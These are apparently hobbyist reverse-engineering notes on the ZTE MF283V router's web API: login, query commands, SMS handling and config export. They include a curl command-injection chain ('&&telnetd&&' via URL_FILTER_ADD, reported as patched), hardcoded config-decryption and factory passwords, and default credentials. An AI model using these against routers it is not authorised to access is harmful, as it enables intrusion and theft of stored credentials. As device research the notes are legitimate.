This is a summary of the findings while attempting to enable telnet on the router. Although this summary may feel focused on the telnet parts, the goal wasn't telnet in and on itself, but the pursuit exposed a lot of valuable information about the router's operation and web APIs that can be used directly.
Device: ZTE MF283V-1.0.0
Firmware: BD_RWTMAMF283VV1.0.0B01 (Jan 2019)
Web UI Title: "4G CPE"
Web Server: GoAhead (GoAhead-Webs)
Config Encryption: 3DES-CBC, password himan
POST /goform/goform_set_cmd_process
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/index.html
X-Requested-With: XMLHttpRequest
isTest=false&goformId=LOGIN&password=YWRtaW4=
- Password is base64-encoded (
YWRtaW4==admin) - Returns
{"result":"0"}on success (also4is acceptable),1= wrong password,2= duplicate user,3= bad password,5= locked - Sets a
stok=<token>cookie on success — this is your session token
GET /goform/goform_get_cmd_process?isTest=false&cmd=loginfo
X-Requested-With: XMLHttpRequest
Cookie: stok=<token>
Returns {"loginfo":"ok"} if authenticated.
POST /goform/goform_set_cmd_process
goformId=LOGOUT
All goform_get_cmd_process requests require this header or they return empty responses. Without it, the API silently fails — no error, just empty JSON. The goform_set_cmd_process endpoint is slightly more forgiving but also benefits from it. This is not documented anywhere.
- Sessions are tied to the
stokcookie - Only one active session at a time — a new login invalidates the previous session
- Sessions appear to expire after ~5-10 minutes of inactivity
- Re-logging in gives a completely new token and kills the old one
GET /goform/goform_get_cmd_process?isTest=false&cmd=<command>&multi_data=1
Critical: multi_data=1 is required for comma-separated multi-value queries. Without it, querying cmd=signalbar,network_type returns {"signalbar,network_type":""} (key treated as literal string, value empty). With multi_data=1, the same query returns {"signalbar":"3","network_type":"LTE"} (each key resolved individually). This is not documented anywhere and is easy to miss since single-value queries work fine without it.
POST /goform/goform_set_cmd_process
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
isTest=false&goformId=<ID>&<params>
Referer: http://192.168.0.1/index.htmlX-Requested-With: XMLHttpRequest(especially for GET)- Valid
stokcookie
Always false on production devices. The web UI JS uses zte_web_ui_is_test flag (hardcoded false). When true, responses come from a local simulator in the JS code, not the device.
| goformId | Parameters | Notes |
|---|---|---|
LOGIN |
password=<base64> |
Returns 0/1/2/3/4/5 |
LOGOUT |
Clears session | |
REBOOT_DEVICE |
Reboots the router | |
CONNECT_NETWORK |
Initiates WAN connection | |
DISCONNECT_NETWORK |
Disconnects WAN | |
SET_WIFI_SSID1_SETTINGS |
ssid, broadcastSsidEnabled, MAX_Access_num, security_mode, cipher, passphrase, NoForwarding, qrcode_display_switch, security_shared_mode |
Main SSID |
SET_WIFI_SSID2_SETTINGS |
m_SSID, m_HideSSID, m_MAX_Access_num, m_AuthMode, m_EncrypType, m_WPAPSK1, m_NoForwarding, m_qrcode_display_switch, cipher |
Guest SSID |
SET_WIFI_INFO |
wifiEnabled, etc. |
Master WiFi on/off |
SET_WIFI_SECURITY_INFO |
AuthMode, passPhrase |
|
SET_WEB_LANGUAGE |
Language |
e.g. en, fr, ar |
SET_BEARER_PREFERENCE |
BearerPreference |
Network mode |
SET_CONNECTION_MODE |
ConnectionMode, roam_setting_option |
|
SET_NETWORK |
NetworkNumber, Rat |
Manual network select |
SCAN_NETWORK |
Triggers network scan | |
URL_FILTER_ADD |
addURLFilter=<url> |
PATCHED — accepts input but doesn't execute shell commands |
URL_FILTER_DELETE |
deleteURLFilter=<url> |
|
PBM_CONTACT_ADD |
location, name, mobilephone_num, etc. |
Phonebook add |
PBM_CONTACT_DEL |
del_option, delete_id/del_all_location |
Phonebook delete |
APN_PROC / APN_PROC_EX |
Various APN params | _EX variant for IPv6-enabled firmwares |
SET_CONNECTION_MODE |
ConnectionMode, roam_setting_option |
|
ENTER_PIN |
PinNumber, pin_save_flag |
|
ENTER_PUK |
PUKNumber, PinNumber |
|
CHANGE_MODE |
change_mode, password |
Factory mode trigger — requires RSA-encrypted IMEI |
SET_WIFI_SSID1_SETTINGS |
(see WiFi section) | |
DEVICE_CONFIG_DOWNLOAD |
Returns encrypted config file | |
SET_DEVICE_LED |
led_status |
LED control (no command injection possible) |
SEND_SMS |
number, message, ID, encode_type |
|
SET_MSG_READ |
msg_id=<id>;, tag=0 |
Mark SMS as read. Requires semicolon after msg_id — msg_id=81; not msg_id=81 |
DELETE_SMS |
msg_id=<id>; |
Delete SMS. Same semicolon requirement |
ALL_DELETE_SMS |
which_cgi=<location> |
Delete all SMS from a store |
SAVE_SMS |
SMSMessage, SMSNumber, Index, encode_type, sms_time, draft_group_id |
Save as draft |
Passed as ?cmd=value1,value2,... with multi_data=1 for multi-value.
| cmd | Returns |
|---|---|
loginfo |
{"loginfo":"ok"} |
modem_main_state |
modem_undetected / modem_detected / modem_sim_state / modem_handover / modem_imsi_lock / modem_online / modem_offline |
wa_inner_version |
Firmware version string, e.g. BD_RWTMAMF283VV1.0.0B01 |
hardware_version |
e.g. MF283V-1.0.0 |
imei |
15-digit IMEI |
wan_ipaddr |
WAN IP |
cr_version |
CR version |
web_version |
Web UI version |
Language |
Current language |
factory_mode |
0 = normal, 2 = factory (but doesn't unlock telnet on this firmware) |
telnet_debug |
Empty = disabled, 1 = enabled (device ignores writes to this) |
URL_filter_list |
Stored filter entries (empty when injection is patched) |
station_list |
Connected WiFi clients — returns JSON array [{"mac_addr":"..","hostname":"..","ip_addr":"..","ssid_index":"1"},...] when clients exist, empty string "" when none. Must be queried individually — returns empty with multi_data=1 |
lan_station_list |
Connected LAN clients — same format as station_list, empty string when none. Same caveat: query individually, not with multi_data=1 |
sms_capacity_info |
SMS storage counts |
pbm_data_total / pbm_data_info |
Phonebook data |
pbm_init_flag |
Phonebook initialization status |
pbm_capacity_info |
Phonebook capacity |
ConnectionMode |
Current connection mode |
current_network |
Current network info |
current_network_mode |
Network mode |
m_netselect_status |
Network selection status |
m_netselect_result |
Network selection result |
m_netselect_contents |
Available networks |
APN_config0 through APN_config19 |
APN configurations |
apn_interface_version |
APN config format version (2 = uses _ui suffixed keys) |
wifi_access_sta_num |
Connected WiFi device count |
RadioOff |
WiFi radio status |
SSID1 |
Main SSID name |
AuthMode |
WiFi auth mode |
HideSSID |
SSID broadcast |
NoForwarding |
AP isolation |
EncrypType |
Encryption type |
WPAPSK1 / WPAPSK1_encode |
WiFi password (plain or base64 depending on PASSWORD_ENCODE config) |
m_ssid_enable |
Multi-SSID enabled |
m_SSID |
Guest SSID name |
m_AuthMode |
Guest auth mode |
ppp_status |
PPP connection status: ppp_connected, ppp_disconnected, ppp_connecting, ppp_disconnecting |
simcard_roam |
Home / Internal / International |
signalbar |
Signal strength (0-5) |
network_type |
e.g. LTE, WCDMA |
network_provider |
Carrier name |
dial_mode |
Dial mode |
wan_connect_status |
e.g. eth_connected |
wan_lte_ca |
CA status: ca_activated / ca_deactivated |
realtime_tx_thrpt / realtime_rx_thrpt |
Real-time throughput |
realtime_tx_bytes / realtime_rx_bytes |
Real-time bytes |
monthly_tx_bytes / monthly_rx_bytes |
Monthly bytes |
data_volume_limit_switch |
Data limit on/off |
data_volume_limit_unit |
data or time |
data_volume_limit_size |
e.g. 10_1024 (10 × 1024 MB) |
data_volume_alert_percent |
Alert threshold |
EX_wifi_profile |
External WiFi profile |
EX_SSID1 |
External SSID |
sta_ip_status |
External WiFi connection status |
battery_vol_percent |
Battery level |
battery_charging |
Battery charging status |
battery_pers |
Battery percentage |
opms_wan_mode |
WAN mode: PPP, BRIDGE, PPPOE, DHCP, STATIC |
new_version_state |
OTA update available |
current_upgrade_state |
Upgrade status |
is_mandatory |
Is update mandatory |
upg_roam_switch |
Roaming update switch |
wifi_dfs_status |
DFS status |
wifi_5g_enable |
5GHz enabled |
wifi_chip1_guest_access_time |
Guest WiFi timer |
wifi_chip2_ssid1_ssid |
5GHz SSID |
wifi_chip1_ssid1_access_sta_num |
2.4GHz connected count |
wifi_chip2_ssid1_access_sta_num |
5GHz connected count |
sms_received_flag |
New SMS indicator |
sts_received_flag |
SMS report indicator |
sms_dev_unread_num / sms_sim_unread_num / sms_unread_num |
Unread SMS counts |
ppp_dial_conn_fail_counter |
Connection failure count |
wifi_onoff_func_control |
WiFi on/off function control |
pbm_write_flag |
Phonebook write status |
sms_data_total |
SMS list query — requires page, data_per_page, mem_store, tags, order_by params. Returns messages[] array |
sms_parameter_info |
SMS center number, delivery report settings |
sms_cmd_status_info |
Async SMS operation status (send/delete progress) |
- RequireJS 2.0.2 for module loading
- KnockoutJS for data binding
- jQuery, Underscore.js, Bootstrap
- ECharts for graphs
Hash-based SPA routing. The main config loads from js/config/cpe/MF283V/config.js and menu from js/config/cpe/MF283V/menu.js. Device type is cpe/MF283V.
js/main.js— entry point, RequireJS config, module bootstrapjs/service.js— ALL API communication (127KB minified), defines everygoformIdandcmdmappingjs/config/config.js— global config (device type, feature flags, mode lists, language lists)js/config/cpe/MF283V/config.js— device-specific overrides
| Hash | Path | Level | Parent |
|---|---|---|---|
#login |
login |
1 | — |
#home |
home |
1 | — |
#status |
status/device_info |
1 | — |
#status > #device_info |
status/device_info |
2 | #status |
#status > #traffic_statistics |
status/traffic_statistics |
2 | #status |
#status > #traffic_alert |
status/traffic_alert |
2 | #status |
#sms |
sms/smslist |
1 | — |
#phonebook |
phonebook/phonebook |
1 | — |
#parental_control |
firewall/parental_control |
1 | — |
#setting |
adm/quick_setting |
1 | — |
#setting > #quick_setting |
adm/quick_setting |
2 | #setting |
#setting > #net_setting |
network/dial_setting |
2 | #setting |
#setting > #wifi |
wifi/wifi_basic |
2 | #setting |
#setting > #device_setting |
adm/password |
2 | #setting |
#setting > #firewall |
firewall/port_filter |
2 | #setting |
#setting > #ipsec |
ipsec/ipsec |
2 | #setting |
#setting > #router_setting |
adm/lan |
2 | #setting |
#setting > #ap_station |
wifi/ap_station |
2 | #setting |
#setting > #net_setting > #dial_setting |
network/dial_setting |
3 | #net_setting |
#setting > #net_setting > #net_select |
network/net_select |
3 | #net_setting |
#setting > #net_setting > #apn_setting |
network/apn_setting |
3 | #net_setting |
#setting > #wifi > #wifi_basic |
wifi/wifi_basic |
3 | #wifi |
#setting > #wifi_main |
wifi/wifi_main |
3 | #setting |
#setting > #wifi_guest |
wifi/wifi_guest |
3 | #setting |
#setting > #wifi > #wifi_advance |
wifi/wifi_advance |
3 | #wifi |
#setting > #wifi > #wps |
wifi/wps |
3 | #wifi |
#setting > #device_setting > #password_management |
adm/password |
3 | #device_setting |
#setting > #device_setting > #pin_management |
adm/pin |
3 | #device_setting |
#setting > #device_setting > #sntp |
adm/sntp |
3 | #device_setting |
#setting > #device_setting > #restore |
adm/restore |
3 | #device_setting |
#setting > #device_setting > #configuragtion |
adm/configuragtion |
3 | #device_setting |
#setting > #device_setting > #diagnosis |
adm/diagnosis |
3 | #device_setting |
#setting > #device_setting > #sleep_mode |
wifi/sleep_mode |
3 | #device_setting |
#setting > #device_setting > #others |
adm/others |
3 | #device_setting |
#setting > #device_setting > #dlna_setting |
adm/dlna |
3 | #device_setting |
#setting > #firewall > #port_filter |
firewall/port_filter |
3 | #firewall |
#setting > #firewall > #anti_vio_cra |
firewall/anti_violence_crack |
3 | #firewall |
#setting > #firewall > #port_forward |
firewall/port_forward |
3 | #firewall |
#setting > #firewall > #port_map |
firewall/port_map |
3 | #firewall |
#setting > #firewall > #upnp |
firewall/upnp_setting |
3 | #firewall |
#setting > #firewall > #dmz |
firewall/dmz_setting |
3 | #firewall |
#setting > #device_setting > #update_management |
update/update_info |
3 | #device_setting |
From config/cpe/MF283V/config.js:
INCLUDE_MOBILE: true
HAS_CASCADE_SMS: true
IPV6_SUPPORT: true
HAS_BATTERY: false // No battery in MF283V
EMPTY_APN_SUPPORT: false
TSW_SUPPORT: true // Traffic statistics
HAS_FOTA: true // Firmware OTA updates
HAS_MULTI_SSID: true // Guest WiFi
WIFI_HAS_5G: false // No 5GHz on MF283V
WIFI_BAND_SUPPORT: false
WIFI_BANDWIDTH_SUPPORT: true
STATION_BLOCK_SUPPORT: false
STATION_BIND_SUPPORT: false
AP_STATION_SUPPORT: false
WDS_SUPPORT: false
WIFI_SWITCH_SUPPORT: true
WIFI_SLEEP_SUPPORT: false
WIFI_SUPPORT_QR_CODE: false
NETWORK_UNLOCK_SUPPORT: true // SIM unlock
MAX_STATION_NUMBER: 32
HAS_L2TP: false
HAS_GRE: false
HAS_IPSEC: false
HAS_RJ45: true // Ethernet ports
HAS_GDPR: false // No GDPR consent
HAS_PARENTAL_CONTROL: true
HAS_FLOW_LIMITED: true
HAS_ANTI_VIO_ACK: false
HAS_MAC_FILTER: true
HAS_DDNS: false
HAS_SMS: true
HAS_PHONEBOOK: true
UPGRADE_TYPE: "FOTA"HAS_LOGIN: true
LOGIN_SECURITY_SUPPORT: true
MAX_LOGIN_COUNT: 5
PASSWORD_ENCODE: true // WiFi passwords stored as base64
IPV6_SUPPORT: true
IPV4V6_SUPPORT: true
CLEAR_DATA_SUPPORT: false
USE_IPV6_INTERFACE: true
MAX_STATION_NUMBER: 10
WIFI_HAS_5G: true
WIFI_SUPPORT_QR_CODE: true
HAS_SMS: true
HAS_PHONEBOOK: true
HAS_PARENTAL_CONTROL: true
HAS_IPSEC: true
IS_WIFI2_0: true
HAS_ANTI_VIO_ACK: false
HAS_MAC_FILTER: true
HAS_L2TP: true
HAS_GRE: true
HAS_RJ45: true
HAS_GDPR: true
CONTENT_MODIFIED: {modified:false, message:"leave_page_info"} // Unsaved changes dialog
portForwardMax: 10
urlFilterMax: 10
defaultApnSize: 1
maxApnNumber: 10
staticMacIPAddress: 10GET /cgi-bin/ExportSettings.sh
Returns encrypted binary file.
POST /cgi-bin/upload_settings.cgi
Content-Type: multipart/form-data
Field name: filename
Returns {"result":"success"} on success.
- Cipher: 3DES-CBC (
des-ede3-cbc) - Password:
himan - Hash: MD5
- Format: OpenSSL enc standard (8-byte
Salted__header + salt + ciphertext)
openssl enc -d -des-ede3-cbc -md md5 -pass pass:himan -in config.dat -o config.binopenssl enc -e -des-ede3-cbc -md md5 -pass pass:himan -in config.bin -o config.datPlain text key=value pairs, newline-separated (\n / 0x0a). First line is profile name (Default). No checksum, no header.
| Variable | Default | Notes |
|---|---|---|
telnet_debug= |
empty (disabled) | Device ignores writes to this via config upload or API |
factory_mode=0 |
0=normal | Accepts 2 via config upload, but doesn't unlock telnet |
debug_mode_is_persist= |
empty | Accepts 1 via config upload |
websURLFilters= |
empty | Stores URL filter entries (command injection payloads are saved but not executed) |
websPortFilters= |
empty | Port filter entries |
PPPoEProxyPassword= |
PPPoE proxy password | |
tr069_ConnectionRequestUsername= |
itms |
TR-069 username |
tr069_ConnectionRequestPassword= |
itms |
TR-069 password |
admin_Password=admin |
Web UI password | |
simcard_roam=Home |
Roaming setting | |
IPPortFilterEnable=0 |
IP/port filter master switch |
- Accepts changes to:
factory_mode,debug_mode_is_persist, most network/WiFi settings - Ignores changes to:
telnet_debug(silently stripped or reset to empty) - URL filter entries are saved to
websURLFiltersin NVRAM but not processed as shell commands
# 1. Login
curl -c cookies.txt "http://192.168.0.1/goform/goform_set_cmd_process" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "Referer: http://192.168.0.1/index.html" \
--data "isTest=false&goformId=LOGIN&password=YWRtaW4="
# 2. Inject telnetd via URL filter command injection
curl -b cookies.txt "http://192.168.0.1/goform/goform_set_cmd_process" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "Referer: http://192.168.0.1/index.html" \
--data "isTest=false&goformId=URL_FILTER_ADD&addURLFilter=http://fakeurl/&&telnetd&&"
# 3. Telnet to port 4719, login: admin/admin
telnet 192.168.0.1 4719The URL_FILTER_ADD endpoint still accepts the input and returns {"result":"success"}. The entries are even saved to NVRAM (websURLFilters). But the NVRAM parser no longer passes the URL string through popen() or system() — the && shell metacharacters are treated as literal characters, not command separators. The patch was applied before or around firmware BD_RWTMAMF283VV1.0.0B01 (Jan 2019).
/goform/goform_set_cmd_process?goformId=CHANGE_MODE&change_mode=2&password=<RSA-encrypted-IMEI>
This exists on MF283V but requires the RSA-2048 private key (unknown) to encrypt the device IMEI. Without it, returns {"result":"failure"}.
The /webFac and /webFacEntry endpoints exist on MF286 with AES-128-CBC encrypted protocol. Does not exist on MF283V — returns 404.
- Default Gateway:
192.168.0.1 - Subnet:
192.168.0.0/24 - DHCP: Enabled by default
- Open Ports: 80 (HTTP) only. No telnet (23/4719), no SSH (22), no HTTPS (443)
- WAN: 4G LTE modem (no WAN Ethernet port — LAN only)
- LAN: RJ45 Ethernet ports
- WiFi: 2.4GHz 802.11 b/g/n (no 5GHz on MF283V)
- WiFi Chip: RALINK / MediaTek (not Qualcomm — no Qualcomm Diag port)
The web UI adapts based on opms_wan_mode:
PPP— standard 4G dial-upBRIDGE— bridge modePPPOE/DHCP/STATIC— when using Ethernet WAN
Different menu structures load based on mode: menu.js, menu_bridge.js, menu_pppoe.js, menu_4ggateway.js.
goformId: "SET_WIFI_SSID1_SETTINGS"
ssid, broadcastSsidEnabled, MAX_Access_num, security_mode, cipher,
NoForwarding, qrcode_display_switch, security_shared_mode, passphraseAuthMode:OPEN,WPAPSK,WPA2PSK,WPAPSKWPA2PSK,SHAREDEncrypType:NONE,WEP,TKIP,AES- Cipher:
0=TKIP,1=AES,2=Auto - Password is base64-encoded when
PASSWORD_ENCODEis true
goformId: "SET_WIFI_SSID2_SETTINGS"
m_SSID, m_HideSSID, m_MAX_Access_num, m_AuthMode, m_EncrypType,
m_WPAPSK1, m_NoForwarding, m_qrcode_display_switch, ciphergoformId: "APN_PROC" or "APN_PROC_EX"
apn_action: "save" | "delete" | "set_default"
apn_mode: "manual"
index, profile_name, wan_apn, dns_mode, ppp_auth_mode, ppp_username, ppp_passwd, etc.APN_PROC_EXis used whenUSE_IPV6_INTERFACEis true (IPv4+IPv6 combined)APN_config0throughAPN_config19— up to 20 APNs- When
apn_interface_version >= 2, uses suffixed keys likewan_apn_ui,profile_name_ui
- Max attempts: 5 (
MAX_LOGIN_COUNT) - Lockout: 300 seconds (5 minutes) after max failed attempts
- Password: stored in NVRAM as
admin_Password(plaintext in config export!) - Response codes:
0/4=success,1=fail,2=duplicate,3=bad password,5=locked
# Login
STOK=$(curl -s -c /tmp/zte.jar "http://192.168.0.1/goform/goform_set_cmd_process" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "Referer: http://192.168.0.1/index.html" \
-H "X-Requested-With: XMLHttpRequest" \
-d "isTest=false&goformId=LOGIN&password=YWRtaW4=" | grep -oP 'stok\t+\K\S+' || grep stok /tmp/zte.jar | awk '{print $NF}')
# Reboot
curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_set_cmd_process" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "Referer: http://192.168.0.1/index.html" \
-H "X-Requested-With: XMLHttpRequest" \
-d "isTest=false&goformId=REBOOT_DEVICE"curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_get_cmd_process?isTest=false&cmd=wa_inner_version,hardware_version,imei" \
-H "Referer: http://192.168.0.1/index.html" \
-H "X-Requested-With: XMLHttpRequest"curl -s -b "stok=$STOK" "http://192.168.0.1/cgi-bin/ExportSettings.sh" | \
openssl enc -d -des-ede3-cbc -md md5 -pass pass:himan | strings- CVE-2023-25649 — Command injection via
SET_DEVICE_LEDon ZTE ZXHN H168N V2.2 — patched - CVE-2022-39073 — ZTE MF971R info disclosure
- SEC Consult MF253V — Config decryption with password
himan(3DES-CBC), hardcoded RSA keys - MF286 webFac — AES-128-CBC with password
ZTE%^[a]#$%^&*()!@#!for/webFacprotocol
GET /goform/goform_get_cmd_process?isTest=false&cmd=sms_data_total&page=1&data_per_page=20&mem_store=1&tags=0&order_by=order+by+id+desc
Parameters:
mem_store:1= device (NV storage),2= SIMtags:0= read/received,1= unread,2= sent,4= draft (not 3 — discovered empirically)page: page number (1-indexed)data_per_page: messages per pageorder_by: e.g.order by id desc
Response: {"messages": [...]} where each message has:
{
"id": "81",
"number": "+212708192869",
"content": "004200690065006E00760065006E00750065",
"tag": "1",
"date": "26,04,08,01,41,10,+4",
"draft_group_id": "",
"received_all_concat_sms": "1",
"concat_sms_total": "0",
"concat_sms_received": "0",
"sms_class": "4"
}SMS content is hex-encoded UTF-16-BE. Decode with:
echo "004200690065006E" | xxd -r -p | iconv -f UTF-16BE -t UTF-8
# → "Bien"YY,MM,DD,HH,mm,ss,±timezone_offset — e.g. 26,04,08,01,41,10,+4 = 2026-04-08 01:41:10 UTC+4
| Value | Meaning |
|---|---|
0 |
Read (received) |
1 |
Unread |
2 |
Sent |
4 |
Draft |
POST /goform/goform_set_cmd_process
goformId=SET_MSG_READ&msg_id=81;&tag=0
Critical: msg_id must end with a semicolon. msg_id=81 fails, msg_id=81; succeeds.
POST /goform/goform_set_cmd_process
goformId=DELETE_SMS&msg_id=81;
Same semicolon requirement. Multiple IDs: msg_id=81;82;83;
tags=0 returns only read messages, tags=1 returns only unread, tags=2 returns only sent, tags=4 returns only draft. There is no single query that returns "all" — the web UI merges results from multiple queries client-side.
cmd=sms_capacity_info
Returns: sms_nv_total, sms_nv_rev_total, sms_nv_send_total, sms_nv_draftbox_total, sms_sim_total, etc.
cmd=sms_dev_unread_num,sms_sim_unread_num,sms_unread_num&multi_data=1
Returns device unread, SIM unread, and total unread.
Since the API works, you can script a one-liner:
alias zte-reboot='curl -s -c /tmp/zte.jar "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" -H "X-Requested-With: XMLHttpRequest" -d "isTest=false&goformId=LOGIN&password=YWRtaW4=" > /dev/null && STOK=$(grep stok /tmp/zte.jar | awk "{print \$NF}") && curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" -H "X-Requested-With: XMLHttpRequest" -d "isTest=false&goformId=REBOOT_DEVICE"'This is effectively your telnet-reboot but via HTTP API. Two requests, no UI interaction needed.